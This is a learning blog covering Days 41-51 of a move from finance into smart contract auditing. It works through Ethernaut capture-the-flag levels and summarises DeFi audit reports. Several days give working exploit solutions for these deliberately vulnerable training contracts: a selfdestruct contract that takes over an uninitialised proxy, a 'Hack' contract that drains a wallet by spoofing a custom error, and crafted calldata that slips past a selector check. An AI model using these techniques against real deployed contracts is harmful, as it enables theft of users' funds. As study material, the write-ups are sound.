My Coding Journey: From Finance to Smart Contract Auditor

Day 41:

Code

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    
    struct AddressSlot {
        address value;
    }
    
    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`. 
    // Will run if no other function in the contract matches the call data
    fallback () external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }
    
    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
        
        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

Code Breakdown
This contract is fairly well commented out so a few key callouts:
Motorbike contract

  • import of the intializable.sol contract imports a contract to support initializer functions. To use it, replace the constructor with a function that has the initializer modifier;
  • struct AddressSlot : wraps an address in a struct so that it can be passed around as a storage pointer. For further context, struct is user-defined data types that allow us to group multiple variables of different types under a single name;
  • `_logic' is a check to ensure that the implementation contract exists and subsequent to confirming its existence, stores it at the relevant slot. It then calls delegatecall to the implementation contract where initialize is called); and
  • delegate function delegates to the engine contract, however I'd be grateful for a further breakdown of the assembly and subsequent code because this is way above my level of understanding.

Engine contract

  • initialize has an initalizer modifier that inherits from OZ's initializeable contract. This is an attempt by the user to (from my limited understanding) implement a Universal Upgradeable Proxy Standard (UUPS) pattern, which supposedly makes smart contracts more gas efficient and ensures that storage collisions are less likely to occur; and
  • upgradeToAndCall is how an upgrader is able to update state variables within a contract. Note that this is linked with the authorizeUpgrade function whereby there is a requirement that only the upgrader can authorise an upgrade.

Problem
You have to selfdestruct the engine. So we have to takeover the upgrader role to authorize the upgrade to a malicious contract with selfdestruct function to make the proxy contract useless.

Note: Motorbike is the Proxy contract that delegates delegatecall to the Engine contract (also known as the Implementation contract).

Solution
Call the initialize function to make our player the upgrader. We can then call the upgradeToAndCall with the contract address of the below malicious contract.

As a result the selfdestruct on the new implementation contract is executed:

// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;

contract Boom {
    function explode() public {
        selfdestruct(address(0));
    }
}

Day 42:

Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/access/Ownable.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

interface DelegateERC20 {
  function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract Forta is IForta {
  mapping(address => IDetectionBot) public usersDetectionBots;
  mapping(address => uint256) public botRaisedAlerts;

  function setDetectionBot(address detectionBotAddress) external override {
      usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
  }

  function notify(address user, bytes calldata msgData) external override {
    if(address(usersDetectionBots[user]) == address(0)) return;
    try usersDetectionBots[user].handleTransaction(user, msgData) {
        return;
    } catch {}
  }

  function raiseAlert(address user) external override {
      if(address(usersDetectionBots[user]) != msg.sender) return;
      botRaisedAlerts[msg.sender] += 1;
  } 
}

contract CryptoVault {
    address public sweptTokensRecipient;
    IERC20 public underlying;

    constructor(address recipient) {
        sweptTokensRecipient = recipient;
    }

    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }

    /*
    ...
    */

    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
        delegate = newContract;
    }

    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
    address public cryptoVault;
    address public player;
    address public delegatedFrom;
    Forta public forta;

    constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) {
        delegatedFrom = legacyToken;
        forta = Forta(fortaAddress);
        player = playerAddress;
        cryptoVault = vaultAddress;
        _mint(cryptoVault, 100 ether);
    }

    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }

    modifier fortaNotify() {
        address detectionBot = address(forta.usersDetectionBots(player));

        // Cache old number of bot alerts
        uint256 previousValue = forta.botRaisedAlerts(detectionBot);

        // Notify Forta
        forta.notify(player, msg.data);

        // Continue execution
        _;

        // Check if alarms have been raised
        if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
    }

    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }
}

Code Breakdown

  • imports OZ's ERC20 and Ownable contracts;
  • from the interface of the DelegateERC20 contract, imports the delegateTransfer function - taking parameters of address to, values and the address of the original sender. Other functions are delegated to the DetectionBot and Forta contracts;
  • the Forta contract maps addresses for the usersDetectionBots and botRaisedAlerts;
  • the setDetectionBot takes the address of a bot and overrides it with the users specified detection bots;
  • notify takes the users address and msgData and checks that the right bot is notifying the right users;
  • the raiseAlert raises an alert is the usersDetectionBots user is not the same as the msg.sender and counts how many times the bots raise an alarm;
  • the CryptoVault contract takes the address of sweptTokenRecipient and the address of the underlying (which is later set by the function setUnderlying);
  • setUnderlying requires the address of the underlying is the same as the originally specified underlying otherwise if a user tries to call this to set a new underlying it reverts with the message;
  • sweepToken requires the token be the underlying otherwise the call reverts. On success the token will transfer to the specified address;
  • LegacyToken is an ERC20 token that can be minted, delegated to a new contract or transferred - nothing unusual or conceptually unique here;
  • DoubleEntryPoint is also an ERC20 contract but takes the address of the cryptovalue, player, and address where is has been delegated from;
  • the modifier onlyDelegateFrom requires the msg.sender to be delegatedFrom (i.e. the delegateToNewContract from the legacyToken);
  • fortaNotify ensures that detection bots are notified of the players address, running a series of checks if there have been alarms raised; and
  • delegateTranfer does exactly what it says it does - transfers a token (with both the fortaNotify and onlyDelegateFrom modifiers applied.

Problem
Taken from OZ's instructions directly:

This level features a CryptoVault with special functionality, the sweepToken function. This is a common function used to retrieve tokens stuck in a contract. The CryptoVault operates with an underlying token that can't be swept, as it is an important core logic component of the CryptoVault. Any other tokens can be swept.

The underlying token is an instance of the DET token implemented in the DoubleEntryPoint contract definition and the CryptoVault holds 100 units of it. Additionally the CryptoVault also holds 100 of LegacyToken LGT.

In this level you should figure out where the bug is in CryptoVault and protect it from being drained out of tokens.

The contract features a Forta contract where any user can register its own detection bot contract. Forta is a decentralized, community-based monitoring network to detect threats and anomalies on DeFi, NFT, governance, bridges and other Web3 systems as quickly as possible. Your job is to implement a detection bot and register it in the Forta contract. The bot's implementation will need to raise correct alerts to prevent potential attacks or bug exploits.

Solution
I am just taking some extra time to better understand how a double entry point works for a token contract. Once I've done some extra reading on the topic - I'll revert with a solution and maybe fix up my initial interpretation of the contract, if there are any glaring errors.

Day 43:

Taking a quick break from the challenges, I was incredibly interested in OZ's recent audit of Ion Protocol weETH Integration.

System
Ion Protocol implements a borrowing and lending platform for liquid staking tokens (LST) but the audit reviews changes to the system with respect to:

  • the addition of weETH token from EtherFi (a staking platform) as a collateral asset;
  • borrowing wETH from Uniswap; and
  • integration of Chainlink and Redstone oracles, to price weETH.

Central security concern
My read of the audit was the major concern was the LST tokens relied on-chain economics and the the exchange rate between LST:ETH (taken from a variety of sources). LST pricing was important given it was a guide to size of debt position and a user's account health. The incoming changes meant the system was simplified to simply rely on: weETH, the liquid re-staking token and a Redstone oracle.

Key takeaways

Medium: Incorrect Check in UniswapFlashswapDirectMintHandler

  • the check against maxResultingDebt (relative to base asset) in the UniswapFlashswapDirectMintHandler contract was incorrect. The check was designed to help leveraged positions within the wstETH / weETH market;
  • the check looked to the value of wETH as a base asset instead of wstETH (the value between the two being significant) causing the threshold for "max resulting debt" to be lower than a user is anticipating; and
  • fix literally involved changing the name of the variable and swapping the check to the right asset.

UniswapFlashswapDirectMintHandler Unusable When Not Leveraging

  • the _flashswapAndMint function contained a clause that was unreachable (i.e. the exception handling code was unnecessary);
  • the error occurred because the getEthAmountInForLstAmountOut function in the EtherFiLibrary contract always returns a value of 1 or greater. The effect of this was for an amount sent out where the amount is 0, the amount "in" the cotnract should also be 0. However, due to the addition of 1, this is not possible;
  • what this also means is an unnecessary flash-borrow will occur, and the transaction execution will fail; and
  • the fix was to add an early-escape check within getEthAmountInForLstAmountOut, which returns 0 when lrtAmount is 0.

Other low level errors worth calling out from a learning perspective were: missing Docstrings, unused Variables and, a lack of a security contact.

Day 44:

Apologies for the delay, I got sick. I've smashed out a bunch of code today to make up for days missed.

The solution for Day 42:

Draining DET
At a higher level we want to drain funds from the Cryptovault. My interest was piqued by the sweepToken function. As noted previously, it takes an ERC20 token contract address as an argument and makes sure that it's not equal to the underlying token (noting this was an error in my previous post where I said it had to be the same as the underlying). The function proceeds to call the transfer() function on the token address, which transfers the Vault's token balance to the token contract specified, and sends it to the sweptTokensRecipient address.

According to the above logic, the only function capable of draining the vault is sweepToken. But its apparent we can't drain the DET directly due to the input validation (see contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"). So if we substitute LGT token, LegacyToken will call the overridden function and will make the following call:

delegate.delegateTransfer(to, value, msg.sender); == DoubleEntryPoint.delegateTransfer(sweptTokensRecipient, CryptoVault's Total Balance, CryptoVault's Address);

This call outlines that the delegate contract will be equal to DoubleEntryPoint, and the msg.sender will be the CryptoVault since it sent the transaction to the LegacyToken. The value will be equal to CryptoVault's total balance, i.e., token.balanceOf(address(this)). Accordingly, msg.sender is now LegacyToken because it sent the transaction. This will cause the underlying tokens (DET) to be swept/drained from the CryptoVault bypassing the validation (requirement that the token not equal the underlying).

Forta Bot
My previous analysis of the Forta contract's notify() function was also incorrect. Notify calls handleTransaction() on a bot's address, which we will use to handle the conditions for which the alerts will be raised with respect to draining DET from the Cryptovault. It is important to get this point right because function handleTransaction(address user, bytes calldata msgData) external is called within the notify function. Again, my previous analysis of raiseAlert was also incorrect - the bot calls raiseAlert of it's caller (accessed via msg.sender) which is the Forta contract.

As outlined above, the attack was made by calling the sweepToken function of the Cryptovault contract with LegacyToken as the address. A message call to DoubleEntryPoint contract is made for the delegateTransfer function. The data received from this message will be the data that our bot receives on handleTransaction, because delegateTransfer is the one with fortaNotify modifier (noting that the address the bot should concentrate on is the Cryptovault such that it raises an alarm during a sweep if that address is interacted with).

The alert bot should look like the following:

pragma solidity ^0.6.0;

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract AlertBot is IDetectionBot {
    address private cryptoVault;

    constructor(address _cryptoVault) public {
        cryptoVault = _cryptoVault;
    }

    function handleTransaction(address user, bytes calldata msgData) external override {

        address origSender;
        assembly {
            origSender := calldataload(0xa8)
        }

        if(origSender == cryptoVault) {
            IForta(msg.sender).raiseAlert(user);
        }
    }
}

After deploying the Hack and the bot, if the bot is working the Hack's transaction should be reverted and we can submit the level.

Day 45:

The previous challenge made me think of the Double spending attacks, so I will take this opportunity to discuss this type of attack.

Issues
In a nutshell, double spending attacks occur when the same tokens are spent multiple times. This attack often occurs when a transaction is confirmed but somehow the malicious user is able to modify a preceding block / the order of the blocks to validate another transaction.

There are three common types of attacks:
1. Double spending race attacks - an attacker arbitrages transaction time delay across a network. This could be implemented by:
a. The attacker initiates two conflicting transactions, each spending the same cryptocurrency on different goods or services.
b. The conflicting transactions are broadcasted to different subsets of nodes in the network whereby a temporary blockchain fork may be creates to resolve the conflicting information; and
c. The attacker aims to have one conflicting transaction confirmed and accepted by a subset of nodes, effectively nullifying the payment. Practically meaning the attacker got refunded the entire amount they spent;
2. Finney attacks - similar to the above but using different steps:
a. A miner withholds a block containing a legitimate transaction for purchasing goods or services
i. Sidenote: if they were to withhold the block of illegitimate reasons this is known as selfish mining because it slows the network and attempts to exploit the changing pool of mining reward;
b. The attacker receives the goods or services assuming the transaction being withheld will be confirmed later (I practically see this as being two co-conspirators);
c. the attacker broadcasts the withheld block to the network, which includes a manipulated conflicting transaction (i.e. they have manipulated data inside the block whilst the block was being withheld by the other user);
d. This conflicting transaction redirects the cryptocurrency to another address controlled by the attacker; and
e. Although this conflicting transaction invalidates the original legitimate transaction, the attacker, having already received the goods or services, also retains the cryptocurrency used for the purchase since they redirected it to themselves.
3. 51% attacks - basically, this attack occurs if an attacker has a superfast computer that mines blocks faster than any other miner in the network consistently. That way, the attacker owns 51% of the tokens within the network and if changes to the chain (i.e. transaction data) needs 51% consensus, then the attacker can confirm this manipulation.

Solutions / Mitigation strategies
The crypto ecosystem has evolved to prevent such attacks by implementing (but not limited to) the following:
- POW, where it is too costly for attacks to manipulate block data;
- PoS, where users stake their tokens and are penalised for attempting to manipulate a chain; or
- The Practical Byzantine Fault Tolerance (BFT) algorithm whereby the aim is to enable a distributed network of nodes to reach a consensus despite faulty or malicious nodes

Super interesting stuff and I'm keen to hear others' thoughts!

Day 46:

The Code

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10**6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if(msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

The Breakdown
GoodSamaritan contact
ā€¢ The GoodSamaritan contact contains a public wallet and coin state variables, both of which have new instances created when the constructor is called - noting that the new coin takes the address of the wallet; and
ā€¢ requestDonation checks if there is enough balance in a msg.sender's wallet, which is tested via trying to donate 10 coins, and reverting with a custom error if this is not possible.

Coin contract
ā€¢ As mentioned above, uses the wallet's address as its own;
ā€¢ It also is used to portray how many coins a user may have in their wallet;
ā€¢ InsufficientBalance is an error that is displayed if the current amount of coins held does not conform with the coins required;
ā€¢ The constructor uses the wallet address to mint 1m coins to the user;
ā€¢ transfer is a simple transfer function (i.e. adjusts a msg.sender's balances depending on the amount sent etc.). The interest part is the requirement that it reverts if the balance is not enough if(amount_ <= currentBalance) and if it is the destination contract is notified INotifyable(dest_).notify(amount_); Again, if the balance is insufficient, the transaction reverts.

Wallet contract
ā€¢ A customer NotEnoughBalance error and an onlyOwner error are contained in this contract;
ā€¢ Contains an onlyOwner modifier that reverts a transaction if the msg.sender is not the owner- noting that the constructor sets the owner to msg.sender on intialisation;
ā€¢ donate10 allows the owner to send 10 coins to an address provided the balance amount is greater than 10 (otherwise it reverts with NotEnoughBalance);
ā€¢ transferRemainder allows the owner to transfer the balance left in their account to another user with no requirement that the balance is >10; and
ā€¢ setCoin takes defers to the coin contract but is only callable by the owner.

Problem
This instance represents a Good Samaritan that is wealthy and ready to donate some coins to anyone requesting it. Would you be able to drain all the balance from his Wallet?

Provided the wallet and coin are viewable, the Good Samaritan has a target on their back so we are attempting to drain their wallet.

Solution
The key to this solution is the catch inside the requestDonation function. This states that if the custom error of NotEnoughBalance is called, then it will transfer the remainder of the coins to the msg.sender. Simply put, we want a method that will trick the contract into calling the custom error when the balance of the wallet is greater than 10. You can do this because NotEnoughBalance is not limited to only being triggered when the balance is <10.

So when the wallet contract calls the donate10 function, it will call transfer (and inside this it will trigger the notify function - which can be set to the Hack contract provided the destination is a parameter). When the notify function is called, we can then call the custom error and then it will be caught in the Good Samaritan contract (triggering the transferRemainder function in the Good Samaritan contract to transfer tokens to the Hack contract).

In summary:
1. Call the requestDonation function; and
2. When notify is triggered (making sure that the amount inside the contract is == 10) - make sure to specify the condition that the transaction reverts via NotEnoughBalance.

*Contract form of the solution *


SPDX-License-Identifier: MIT
pragma solidity ^0.8;

interface IGood {
    function coin() external view returns (address);
    function requestDonation() external returns (bool enoughBalance);
}

interface ICoin {
    function balances(address) external view returns (uint256);
}

contract Hack {
    IGood private immutable target;
    ICoin private immutable coin;

    error NotEnoughBalance();

    constructor(IGood _target) {
        target = _target;
        coin = ICoin(_target.coin());
    }

    function rekt() external {
        target.requestDonation();
        require(coin.balances(address(this)) == 10 ** 6, "No dice, try again");
    }

    function notify(uint256 amount) external {
        if (amount == 10) {
            revert NotEnoughBalance();
        }
    }
}

Day 47:

The Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
  GatekeeperThree public target;
  address public trick;
  uint private password = block.timestamp;

  constructor (address payable _target) {
    target = GatekeeperThree(_target);
  }
    
  function checkPassword(uint _password) public returns (bool) {
    if (_password == password) {
      return true;
    }
    password = block.timestamp;
    return false;
  }
    
  function trickInit() public {
    trick = address(this);
  }
    
  function trickyTrick() public {
    if (address(this) == msg.sender && address(this) != trick) {
      target.getAllowance(password);
    }
  }
}

contract GatekeeperThree {
  address public owner;
  address public entrant;
  bool public allowEntrance;

  SimpleTrick public trick;

  function construct0r() public {
      owner = msg.sender;
  }

  modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
  }

  modifier gateTwo() {
    require(allowEntrance == true);
    _;
  }

  modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
      _;
    }
  }

  function getAllowance(uint _password) public {
    if (trick.checkPassword(_password)) {
        allowEntrance = true;
    }
  }

  function createTrick() public {
    trick = new SimpleTrick(payable(address(this)));
    trick.trickInit();
  }

  function enter() public gateOne gateTwo gateThree {
    entrant = tx.origin;
  }

  receive () external payable {}
}

The Breakdown
SimpleTrick
ā€¢ GatekeeperThree is a public target;
ā€¢ Trick is a public address;
ā€¢ A 'private' password is assigned to a block.timestamp;
ā€¢ The address payable is the target which is the GateKeeperThree;
ā€¢ checkPassword runs a check that returns TRUE or FALSE if a user correctly inputs a password;
ā€¢ trickInit is a function that is callable that sets the SimpleTrick contract address to the msg.sender's address; and
ā€¢ trickyTrick is a public function that is callable if the address of the contract is equal to msg.sender and the address of the contract is not equal to trick. If these conditions are met then the target contract calls the getAllowance function containing the password.

GatekeeperThree
ā€¢ Maps an owner and entrance to public addresses and checks when the status of allowEntrance;
ā€¢ SimpleTrick defers to trick to set the address;
ā€¢ gateOne is that the msg.sender must be the owner and tx.origin cannot be the owner;
ā€¢ gateTwo ensures that the allowEntrace function discussed earlier is set to true;
ā€¢ gateThree is satisfied if the address of the contract is greater than 0.001 ether and if the owner is not able to send 0.001 ether;
ā€¢ createTrick is where a trick address creates a payable address of a new SimpleTrick contract that ensures it is not the msg.sender's address; and
ā€¢ enter ensures that the user gets through each gateOne/Two/Three's modifiers to become the tx.origin.

Problem
Get through the gates and become an entrant, no need to drain any funds in this challenge.

Solution
GateOne
See previous challenges I've completed for further explanation but basically I set up another contract as the owner, and we (an EOA) will be the tx.origin - so this condition is satisfied.

GateTwo
As mentioned earlier, nothing is truly private on-chain, so we look to Solidity's storage to retrieve the password to get through this gate.

Simply run the following the Ethernaut console:

await web3.eth.getStorageAt(ā€œwhateverContractAddressIsā€, 2, console.log)

You now have the password for GateTwo. Run the getAllowance function with the hex number we got from reading the storage.

GateThree
Satisfy two conditions: 1) balance of the current contract > 0.001 ether and sending 0.001 ether to the owner of the contract must revert.

To satisfy the first condition - send a small balance of ether to the contract so that address(this).balance > 0.001 ether will be true.

Call the construct0r() function, so that it will become the msg.sender and also ensure that you have specified a function to call the enter() (we then become become the tx.origin), and msg.sender is this new contract.

Note: it took me a while to notice but the constructor is not spelt correctly in the GatekeeperThree contract!

Day 48:

Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
    bool public switchOn; // switch is off
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

     modifier onlyThis() {
        require(msg.sender == address(this), "Only the contract can call this");
        _;
    }

    modifier onlyOff() {
        // we use a complex data type to put in memory
        bytes32[1] memory selector;
        // check that the calldata at position 68 (location of _data)
        assembly {
            calldatacopy(selector, 68, 4) // grab function selector from calldata
        }
        require(
            selector[0] == offSelector,
            "Can only call the turnOffSwitch function"
        );
        _;
    }

    function flipSwitch(bytes memory _data) public onlyOff {
        (bool success, ) = address(this).call(_data);
        require(success, "call failed :(");
    }

    function turnSwitchOn() public onlyThis {
        switchOn = true;
    }

    function turnSwitchOff() public onlyThis {
        switchOn = false;
    }


Breakdown

  • switchOn is a public boolean that when set to TRUE ensures the Switch contract is on (by default it is set to false);
  • offSelector is a variable that is set to the turnSwitchOff function (hashed to a hexadecimal value and converted 4bytes). The turnSwitchOff is modified by onlyThis being the requirement that the msg.sender is equal to the contract's address;
  • onlyOff modifier is commented out but I read the purpose of this function to keep the light switch off (i.e. switchOn is set to false)' provided the data checks the data can be found at position 68 (with a length of 4 bytes); and
  • flipSwitch takes the data stored within the contract and applies the onlyOff modifier. If the contract address calls the data and bool success is set to true, the transaction is successful.

Problem

Just have to flip the switch.

An issue is how do we flip this switch if the turnSwitchOn or turnSwitchOff are only callable via the msg.sender (as a result of the onlyThis modifier).

Solution
This requires an understanding about calldata encoding. This plays out in the following line taken from the contract:

calldatacopy(selector, 68, 4)

The issue with this line is that calldatacopy is supposed to be a dynamic type so the fact that 68 has been hardcoded means that if the data position changes, the call will not perform in the intended manner. On this note, we move the data via the following call made inside the Ethernaut console:

await sendTransaction({from: player, to: contract.address, data:"0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000"})

What does this mean?

Breaking that calldata down:

  • 0x30c13ade is the function selector;
  • 0000000000000000000000000000000000000000000000000000000000000060 is the offset (indicates the start of the data i.e. data to start at 32, 64 or 96 bytes depending on the number of 0s);
  • 0000000000000000000000000000000000000000000000000000000000000000 - extra bytes we threw into the code to manipulate the data positioning;
  • 0000000000000000000000000000000000000000000000000000000000000004 is the length of the data parameter;
  • 76227e1200000000000000000000000000000000000000000000000000000000 the actual data that contains the selector.

So the key takeaway here is that by altering the offset, you can manipulate where the calldata value starts.

As of this post I have now finished the Ethernaut challenge!! A real milestone in my journey, next is Capture the Eth.

Day 49:

As I've mentioned before I am incredibly interested in the Defi space and so I thought it would be good to take time to review an audit from a Consensys in relation to Lybra Finance as a way to re-familiarise myself with practical issues facing Defi.

Lybra Finance Overview
My interest in this audit stems from the fact the Lybra Protocol (the Protocol) focuses predominantly on using stablecoins as a means of collateral-based lending and management. Similar to an Ethernaut challenge I've previously completed, the protocol allows users to utilise Liquid Staking Derivative tokens to not only stake the stablecoins but use them as collateral. What this means is that a new stablecoin is created in the protocol called EUSD whereby interest accrues to the coin and the stablecoin is rebased (which means the supply of the coin is algorithmically adjusted to control price).

To better understand the systems of the audit I really encourage others to read the linked audit report but in summary:

  1. two stablecoins are introduced: the previously mentioned EUSD and peUSD. peUSD can be converted from EUSD but doesnā€™t earn any interest, but can be used for multi-chain capabilities;
  2. There are two types of vaults in the protocol: One of them takes a LSD as collateral and mints EUSD (LybraEUSDVaultBase), and the other type mints peUSD (LybraPeUSDVaultBase). The central difference is peUSD vaults ensure every depositorā€™s collateral value is supposed to grow over time due to ETH staking rewards whereas EUSD is controlled by supply; and
  3. Mining can be done via a) EUSDMiningIncentives - a staking contract that rewards borrowers of EUSD and peUSD, b) esLBRBoost - a contract allowing users to lock their LBR in exchange for boosted rewards in EUSDMiningIncentives and c)ProtocolRewardsPool - a staking contract that rewards holders of esLBR with peUSD or other external stablecoins.

Key Issues
Re-entrancy

  • As alluded to above, for Liquid Staking tokens to become integrated with Ethereum staking, the Protocol vaults are required to make external calls to Liquid Staking systems (which many will remember is a prime cause for reentrancy exploits);
  • one example was the depositEtherToMint function whereby vaults made external calls to deposit ETH and receive the LSD tokens back. This was highlighted in the audit because the Protocol "already extends trust assumptions to these third parties simply through the act of accepting their tokens as collateral. Indeed, in some cases the contract addresses are even hardcoded into the contract and called directly instead of relying on some registry". I believe the takeaway from this is not to say calling to third parties is never allowed (albeit inherently dangerous from a security perspective) but rather smart contracts need to be dynamically capable of accepting inputs and sending outputs to these third parties; and
  • readers will not be surprised the recommendation was reentrancy guards throughout the contract.

Flashloan bypass

  • for context, this type of loan is when users are allowed to borrow assets without having to provide collateral or a credit score. This type of loan has to be paid back within the same blockchain transaction block;
  • when a user chooses to convert EUSD tokens to peUSD, there is a check that limits the total amount of EUSD that can be converted;
  • the issue was that there was a way to bypass this restriction. An attacker can get a flash loan (in EUSD) from this contract, essentially reducing the visible amount of locked tokens EUSD.balanceOf(address(this));
  • the fix was a reentrancy guard and also the recommendation to track the borrowed amount for a flashloan (I assume to mitigate exposure to one particular user and ensure they aren't overcollateralised).

Liquidation Keepers Automatically Become eUSD Debt Providers for Other Liquidations.

  • this feature involves the liquidation of poorly collateralized vaults (e.g. if a vault is found to have a collateralization ratio that is too small) such that a liquidator may provide debt tokens to the protocol and retrieve the vault collateral at a discount;
  • to liquidate the vault, the liquidator needs to transfer debt tokens from the provider address, which in turn needs to have had approved allowance of the token for the vault;
  • the issue was that there were no checks on whether the liquidator had an agreement or allowance from the provider to use their tokens in this particular vaultā€™s liquidation meaning unaware users could have performed a trade without explicit consent;
  • the fix was to outline this in the documentation so users were on alert to the feature but also to ensure the Protocol had an explicit flag for allowing others to use a userā€™s tokens during liquidation.

I found this audit super interesting and a really good read from Consensys. If I can more audits like this I'll be sure to share!

Day 50:

I'm actually having a bit of trouble with getting Capture the Ether to work (via Hardhat) on VS Code. I've followed the instructions on the following repo:

When I say work, what I mean is that I am finding it difficult to verify my answers in test contracts folder. Appreciate this might be a difficult ask provided that the challenge was originally on the Ropsten test network! If I don't solve this in the following days I'll make a start on Damn Vulnerable DeFi instead.

Day 51:

